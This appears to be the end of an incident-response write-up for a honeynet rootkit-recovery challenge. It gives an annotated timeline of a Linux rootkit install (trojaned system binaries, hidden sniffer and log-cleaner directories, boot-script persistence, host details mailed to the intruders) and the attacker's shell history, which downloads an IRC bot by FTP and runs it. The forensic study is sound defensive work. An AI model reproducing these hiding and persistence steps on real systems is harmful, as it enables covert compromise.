....T..T...T.Tt....T.....T.....Tt..T......PppXxxTtt.TtttPpp.T.TXxxxXxxXxxxAa!!!
!!!!!!T..Tt...TXxxx!!!!!!!!!Aaa!!!!!!!!!!!!!!!!!T.Tt....T........XxxxxxxXxxxxxX
xxxxxxT...T.....T.....Tt...............Tttt.Tttttttt...............Tt..........
.....T...Mm..............Tt...Tt..T...Tt.Tt......XxxXxxTt...XxxXxxxT.XTt.T....T
.Tt.Ww.Tt...T..............Xxxxxx!!!!!!!!T..T...Ttt...Xxxxx!!!!!!Ttt...........
....T................XxxxxxT................ 

The blue Mm just happens to be the lost 'computer' file. :) And here it is.
(Note: technically, the To: and Subject: email lines aren't a part of the original computer file, this is just how lazarus recovered it.)

computer file mailed to hackers

To: [email protected]
Subject: placinte

* Info : Linux asdf1 2.2.14-5.0 #1 Tue Mar 7 20:53:41 EST 2000 i586 unknown
* Hostname : asdf1
* IfConfig :           inet addr:127.0.0.1  Bcast:127.255.255.255  Mask:255.0.0.0
          inet addr:172.16.1.108  Bcast:172.16.1.255  Mask:255.255.255.0
* Uptime :   7:45pm  up  8:23,  0 users,  load average: 0.00, 0.00, 0.00
* Cpu Vendor ID : vendor_id     : GenuineIntel
* Cpu Model : model             : 4
model name      : Pentium MMX
* Cpu Speed: cpu MHz            : 200.457171
* Bogomips: bogomips    : 399.77
* Spatiu Liber: Filesystem            Size  Used Avail Use% Mounted on
/dev/hda8             251M   33M  205M  14% /
/dev/hda1              23M  2.4M   19M  11% /boot
/dev/hda6             1.6G  2.1M  1.5G   0% /home
/dev/hda5             1.6G  367M  1.2G  23% /usr
/dev/hda7             251M  5.3M  232M   2% /var

13. Evidence of rootkit installation

MACtime evidence

I've commented the various events (in red) during the install of this rootkit. Something to be wary of when viewing the mactimes is that the files listed in a particular timeframe are NOT chronological in that timeframe. They are sorted alphabetically. Look at the timeframe and assess yourself which files were modified/accessed/created in what order.
Mar 16 01 12:36:48   520333 m.. -rw-r--r-- root     root     <honeypot.hda8.dd-dead-23> rootkit lk.tar.gz downloaded
Mar 16 01 12:44:50    35300 .a. -rwxr-xr-x root     root     ../mnt/bin/netstat
                      33280 .a. -rwxr-xr-x root     root     ../mnt/bin/ps
                     611931 .a. -rwxr-xr-x root     root     <honeypot.hda8.dd-dead-2039> ssh
                          1 .a. -rw-r--r-- root     root     <honeypot.hda8.dd-dead-2040> pidfile
                       1345 .a. -rwxr-xr-x root     root     <honeypot.hda8.dd-dead-2043> cleaner
                        880 .a. -rw-r--r-- root     root     <honeypot.hda8.dd-dead-2048> ssh_config
                        344 .a. -rw-r--r-- root     root     <honeypot.hda8.dd-dead-2050> ssh_host_key.pub
                        688 .a. -rw-r--r-- root     root     <honeypot.hda8.dd-dead-2052> sshd_config
                     520333 .a. -rw-r--r-- root     root     <honeypot.hda8.dd-dead-23> Gunzip and Untar rootkit lk.tar.gz
Mar 16 01 12:45:02     2048 m.c drwxr-xr-x root     root     ../mnt/bin
                      11952 .a. -rwxr-xr-x root     root     ../mnt/bin/chown change ownership of rootkit files to root.root
                      35300 ..c -rwxr-xr-x root     root     ../mnt/bin/netstat insertion of trojan netstat
                      33280 ..c -rwxr-xr-x root     root     ../mnt/bin/ps insertion of trojan ps
                      34816 m.c drwxr-xr-x root     root     ../mnt/dev
                      12288 m.c drwxrwxr-x root     root     ../mnt/dev/ida creation of 'secret' directories and insertion of rootkit files...
                       7165 mac -rwx------ root     root     ../mnt/dev/ida/.. /linsniffer
                         75 mac -rwx------ root     root     ../mnt/dev/ida/.. /logclear
                     632066 .a. -rwxr-xr-x root     root     ../mnt/dev/ida/.. /mkxfs
                       4060 mac -rwxr-xr-x root     root     ../mnt/dev/ida/.. /sense
                       8268 mac -rwx------ root     root     ../mnt/dev/ida/.. /sl2
                       7165 m.c -rwx------ root     root     ../mnt/dev/ida/.drag-on/linsniffer
                         75 mac -rwx------ root     root     ../mnt/dev/ida/.drag-on/logclear
                     632066 m.c -rwxr-xr-x root     root     ../mnt/dev/ida/.drag-on/mkxfs
                        708 m.c -rw-r--r-- root     root     ../mnt/dev/ida/.drag-on/s
                       4060 mac -rwxr-xr-x root     root     ../mnt/dev/ida/.drag-on/sense
                       8268 mac -rwx------ root     root     ../mnt/dev/ida/.drag-on/sl2
                        540 m.c -rw------- root     root     ../mnt/dev/ida/.drag-on/ssh_host_key
                         87 mac -rw-r--r-- root     root     ../mnt/dev/last creation of netstat config file which never gets used by netstat
                         71 mac -rw-r--r-- root     root     ../mnt/dev/rpm creation of ps/top config file which never gets used by either
                       3072 m.c drwxr-xr-x root     root     ../mnt/sbin
                      19840 ..c -rwxr-xr-x root     root     ../mnt/sbin/ifconfig insertion of trojan ifconfig
                       4060 .a. -rwxr-xr-x root     root     <honeypot.hda8.dd-dead-2047> sense
                       8268 .a. -rwx------ root     root     <honeypot.hda8.dd-dead-2053> sl2
                      53588 .ac -rwxr-xr-x root     root     <honeypot.hda8.dd-dead-2058> top
                         75 .a. -rwx------ root     root     <honeypot.hda8.dd-dead-2059> logclear
                      66736 ..c -rwxr-xr-x root     root     <honeypot.hda8.dd-dead-30188> deletion of original redhat 6.2 /bin/netstat
                      60080 ..c -r-xr-xr-x root     root     <honeypot.hda8.dd-dead-30191> deletion of original redhat 6.2 /bin/ps
                      42736 ..c -rwxr-xr-x root     root     <honeypot.hda8.dd-dead-48284> deletion of original redhat 6.2 /sbin/ifconfig
Mar 16 01 12:45:03    33392 .a. -rwxr-xr-x root     root     ../mnt/bin/cp the copy of services files to /etc
                       5760 .a. -rwxr-xr-x root     root     ../mnt/bin/sleep sleep for 1 second
                       1024 m.c drwxr-xr-x root     root     ../mnt/dev/ida/.. 
                     632066 m.c -rwxr-xr-x root     root     ../mnt/dev/ida/.. /mkxfs
                        708 mac -rw-r--r-- root     root     ../mnt/dev/ida/.. /s
                        540 mac -rw------- root     root     ../mnt/dev/ida/.. /ssh_host_key
                        512 mac -rw------- root     root     ../mnt/dev/ida/.. /ssh_random_seed
                          0 mac -rw-r--r-- root     root     ../mnt/dev/ida/.. /tcp.log
                       1024 m.c drwxr-xr-x root     root     ../mnt/dev/ida/.drag-on
                       7165 .a. -rwx------ root     root     ../mnt/dev/ida/.drag-on/linsniffer
                     632066 .a. -rwxr-xr-x root     root     ../mnt/dev/ida/.drag-on/mkxfs
                        708 .a. -rw-r--r-- root     root     ../mnt/dev/ida/.drag-on/s
                        540 .a. -rw------- root     root     ../mnt/dev/ida/.drag-on/ssh_host_key
                        512 .a. -rw------- root     root     ../mnt/dev/ida/.drag-on/ssh_random_seed
                        138 .a. -rw-r--r-- root     root     ../mnt/dev/ida/.drag-on/tcp.log
                       3072 m.c drwxr-xr-x root     root     ../mnt/etc
                       3278 mac -rw-r--r-- root     root     ../mnt/etc/inetd.conf hackers inetd.conf file copied on top of original
                      13708 m.c -rwxr-xr-x root     root     ../mnt/etc/rc.d/rc.sysinit appending "/usr/bin/lsattr -t1 -X53 -p" to rc.sysinit
                      11407 m.c -rw-r--r-- root     root     ../mnt/etc/services hackers services file copied on top of original
                         17 .a. lrwxrwxrwx root     root     ../mnt/lib/libcom_err.so.2 -> libcom_err.so.2.0
                       8465 .a. -rwxr-xr-x root     root     ../mnt/lib/libcom_err.so.2.0
                         13 .a. lrwxrwxrwx root     root     ../mnt/lib/libe2p.so.2 -> libe2p.so.2.3
                      17713 .a. -rwxr-xr-x root     root     ../mnt/lib/libe2p.so.2.3
                         16 .a. lrwxrwxrwx root     root     ../mnt/lib/libext2fs.so.2 -> libext2fs.so.2.4
                      85856 .a. -rwxr-xr-x root     root     ../mnt/lib/libext2fs.so.2.4
                       3278 .a. -rw-r--r-- root     root     <honeypot.hda8.dd-dead-2044> inetd.conf
                         79 .a. -rwxr-xr-x root     root     <honeypot.hda8.dd-dead-2045> lsattr
                      11407 .a. -rw-r--r-- root     root     <honeypot.hda8.dd-dead-2046> services
                       4060 ..c -rwxr-xr-x root     root     <honeypot.hda8.dd-dead-2047> sense
                        540 .ac -rw------- root     root     <honeypot.hda8.dd-dead-2049> ssh_host_key
                        512 .ac -rw------- root     root     <honeypot.hda8.dd-dead-2051> ssh_random_key
                       8268 ..c -rwx------ root     root     <honeypot.hda8.dd-dead-2053> sl2
                         75 ..c -rwx------ root     root     <honeypot.hda8.dd-dead-2059> logclear
                        708 .ac -rw-r--r-- root     root     <honeypot.hda8.dd-dead-2060> s
                     632066 .ac -rwxr-xr-x root     root     <honeypot.hda8.dd-dead-2061> mkxfs
Mar 16 01 12:45:05    24816 .a. -rwxr-xr-x root     root     ../mnt/bin/df get filesystem disk space and append to 'computer' file
                      62384 .a. -rwxr-xr-x root     mail     ../mnt/bin/mail mail 'computer' file to hackers
                         51 .a. -rw-r--r-- root     root     ../mnt/etc/conf.modules
                        112 .a. -rw-r--r-- root     root     ../mnt/etc/mail.rc
                         17 .a. lrwxrwxrwx root     root     ../mnt/lib/ld-linux.so.1 -> ld-linux.so.1.9.5
                      25386 .a. -rwxr-xr-x root     root     ../mnt/lib/ld-linux.so.1.9.5
                     788401 .a. -rwxr-xr-x root     root     ../mnt/lib/libdb-2.1.3.so
                         14 .a. lrwxrwxrwx root     root     ../mnt/lib/libdb.so.3 -> libdb-2.1.3.so
                      44108 .a. -rwxr-xr-x root     root     ../mnt/lib/libproc.so.2.0.6
                      28633 .a. -rw-r--r-- root     root     ../mnt/lib/modules/2.2.14-5.0/modules.dep
                      19840 .a. -rwxr-xr-x root     root     ../mnt/sbin/ifconfig
                          6 .a. lrwxrwxrwx root     root     ../mnt/sbin/modprobe -> insmod
                          0 mac drwxr-xr-x 1031     users    <honeypot.hda8.dd-dead-2038> deletion of /last/
                     611931 ..c -rwxr-xr-x root     root     <honeypot.hda8.dd-dead-2039> deletion of ssh
                          1 ..c -rw-r--r-- root     root     <honeypot.hda8.dd-dead-2040> deletion of pidfile
                       3713 .ac -rwx------ root     root     <honeypot.hda8.dd-dead-2041> deletion of install
                        796 mac -rw-r--r-- root     root     <honeypot.hda8.dd-dead-2042> 
                       1345 ..c -rwxr-xr-x root     root     <honeypot.hda8.dd-dead-2043> deletion of cleaner
                       3278 ..c -rw-r--r-- root     root     <honeypot.hda8.dd-dead-2044> deletion of inetd.conf
                         79 ..c -rwxr-xr-x root     root     <honeypot.hda8.dd-dead-2045> deletion of lsattr
                      11407 ..c -rw-r--r-- root     root     <honeypot.hda8.dd-dead-2046> deletion of services
                        880 ..c -rw-r--r-- root     root     <honeypot.hda8.dd-dead-2048> deletion of ssh_config
                        344 ..c -rw-r--r-- root     root     <honeypot.hda8.dd-dead-2050> deletion of ssh_host_key.pub
                        688 ..c -rw-r--r-- root     root     <honeypot.hda8.dd-dead-2052> deletion of sshd_config
                       4620 .ac -rwxr-xr-x root     root     <honeypot.hda8.dd-dead-2054> deletion of last.cgi
                     520333 ..c -rw-r--r-- root     root     <honeypot.hda8.dd-dead-23> deletion of rootkit lk.tar.gz

14. Something else...

Snooping around in root's home directory yielded some more crumbs...

/home/honeynet/scan15/mnt/root # ls -laF
total 10
drwxr-x---    2 root     root         1024 Mar 16 04:23 ./
drwxr-xr-x   18 root     root         1024 Mar 16 12:45 ../
-rw-r--r--    1 root     root         1126 Aug 24  1995 .Xdefaults
-rw-------    1 root     root          211 Mar 17 01:53 .bash_history
-rw-r--r--    1 root     root           24 Jul 14  1994 .bash_logout
-rw-r--r--    1 root     root          238 Aug 24  1995 .bash_profile
-rw-r--r--    1 root     root          176 Aug 24  1995 .bashrc
-rw-r--r--    1 root     root          182 Mar 22  1999 .cshrc
-rw-r--r--    1 root     root          166 Mar  5  1996 .tcshrc

/home/honeynet/scan15/mnt/root # cat .bash_history 
exec tcsh
ls
mkdir /var/...
ls
cd /var/...
ftp ftp.home.ro
tar -zxvf emech-2.8.tar.gz
cd emech-2.8
./configure
y
make
make
make install
mv sample.set mech.set
pico mech.set
./mech
cd /etc
pico ftpaccess
ls
exit

Looks like the hacker downloaded and installed emech-2.8.tar.gz.
Energy mech is an IRC bot. (http://www.energymech.net/)

The mactimes show the activity that corresponds to .bash_history above.
Mar 17 01 01:39:10      361 .a. -rw-r--r-- root     root     ../mnt/etc/yp.conf
Mar 17 01 01:39:27      628 .a. -r-------- root     root     ../mnt/etc/shadow login...
Mar 17 01 01:39:28        0 .a. -rw-r--r-- root     root     ../mnt/etc/motd
Mar 17 01 01:39:29     8896 .a. -rwxr-xr-x root     root     ../mnt/bin/hostname
                       2434 .a. -rw-r--r-- root     root     ../mnt/etc/DIR_COLORS
                        582 .a. -rw-r--r-- root     root     ../mnt/etc/bashrc
                        547 .a. -rw-r--r-- root     root     ../mnt/etc/profile
                       1024 .a. drwxr-xr-x root     root     ../mnt/etc/profile.d
                        234 .a. -rwxr-xr-x root     root     ../mnt/etc/profile.d/colorls.sh
                       1522 .a. -rwxr-xr-x root     root     ../mnt/etc/profile.d/lang.sh
                        120 .a. -rwxr-xr-x root     root     ../mnt/etc/profile.d/less.sh
                        125 .a. -rwxr-xr-x root     root     ../mnt/etc/profile.d/which-2.sh
                         13 .a. -rw-r--r-- root     root     ../mnt/etc/sysconfig/i18n
                        238 .a. -rw-r--r-- root     root     ../mnt/root/.bash_profile
                        176 .a. -rw-r--r-- root     root     ../mnt/root/.bashrc
Mar 17 01 01:40:11    13696 .a. -rwxr-xr-x root     root     ../mnt/bin/mkdir mkdir /var/...
                       1024 .a. drwxr-x--- root     root     ../mnt/root
Mar 17 01 01:40:58    11407 .a. -rw-r--r-- root     root     ../mnt/etc/services
Mar 17 01 01:41:25      413 .a. -rw-r--r-- root     root     ../mnt/etc/inputrc
Mar 17 01 01:45:05      512 m.c -rw------- root     root     ../mnt/dev/ida/.drag-on/ssh_random_seed
Mar 17 01 01:47:01    46384 .a. -rwxr-xr-x root     root     ../mnt/bin/gunzip tar -zxvf emech-2.8.tar.gz ...
                      46384 .a. -rwxr-xr-x root     root     ../mnt/bin/gzip
                     144592 .a. -rwxr-xr-x root     root     ../mnt/bin/tar
                      46384 .a. -rwxr-xr-x root     root     ../mnt/bin/zcat
Mar 17 01 01:47:09     6196 .a. -rwxr-xr-x root     root     ../mnt/bin/uname make...
Mar 17 01 01:47:14    75600 .a. -rwxr-xr-x root     root     ../mnt/bin/grep
Mar 17 01 01:47:16     9528 .a. -rwxr-xr-x root     root     ../mnt/bin/cat
                      20240 .a. -rwxr-xr-x root     root     ../mnt/bin/rm
Mar 17 01 01:47:30    44880 .a. -rwxr-xr-x root     root     ../mnt/bin/sed
Mar 17 01 01:47:56        0 mac -rw------- root     root     <honeypot.hda8.dd-dead-22106>
                          0 mac -rw------- root     root     <honeypot.hda8.dd-dead-22107>
                          0 mac -rw-r--r-- root     root     <honeypot.hda8.dd-dead-22108>
Mar 17 01 01:48:42     1024 m.c drwxrwxrwx root     root     ../mnt/tmp
                          0 mac -rw------- root     root     <honeypot.hda8.dd-dead-22103>
                          0 mac -rw------- root     root     <honeypot.hda8.dd-dead-22104>
                          0 mac -rw-r--r-- root     root     <honeypot.hda8.dd-dead-22105>
Mar 17 01 01:50:44    13436 .a. -rwxr-xr-x root     root     ../mnt/bin/chmod
Mar 17 01 01:50:49    41104 .a. -rwxr-xr-x root     root     ../mnt/bin/mv mv sample.set mech.set
Mar 17 01 01:51:22        0 .a. crw-r--r-- root     root     ../mnt/dev/random
Mar 17 01 01:52:40        0 .a. -rw------- root     root     ../mnt/etc/ftpaccess pico mech.set
Mar 17 01 01:52:45        0 m.c -rw------- root     root     ../mnt/etc/ftpaccess pico ftpaccess
Mar 17 01 01:52:52    43024 .a. -rwxr-xr-x root     root     ../mnt/bin/ls ls
                       3072 .a. drwxr-xr-x root     root     ../mnt/etc logging out...
                         11 .a. lrwxrwxrwx root     root     ../mnt/etc/rmt -> ../sbin/rmt
                     625272 .a. -rw-r--r-- root     root     ../mnt/etc/termcap
Mar 17 01 01:52:59        0 ma. crw-rw-rw- root     root     ../mnt/dev/ttyp0
                         24 .a. -rw-r--r-- root     root     ../mnt/root/.bash_logout
Mar 17 01 01:53:00        0 ..c crw-rw-rw- root     root     ../mnt/dev/ttyp0
                        211 mac -rw------- root     root     ../mnt/root/.bash_history final write to .bash_history

You'll notice that 'mech' is included in the config file for ps and top to hide.


15. Challenge Requirements and Questions

1. Show step by step how you identify and recover the deleted rootkit from the / partition.

See Section 1. through to Section 12.

2 .What files make up the deleted rootkit?

See Section 9.

Bonus Question: Was the rootkit ever actually installed on the system? How do you know?

Yes, the rootkit was installed. See Section 5., Section 13. and Section 14. for details.

EOF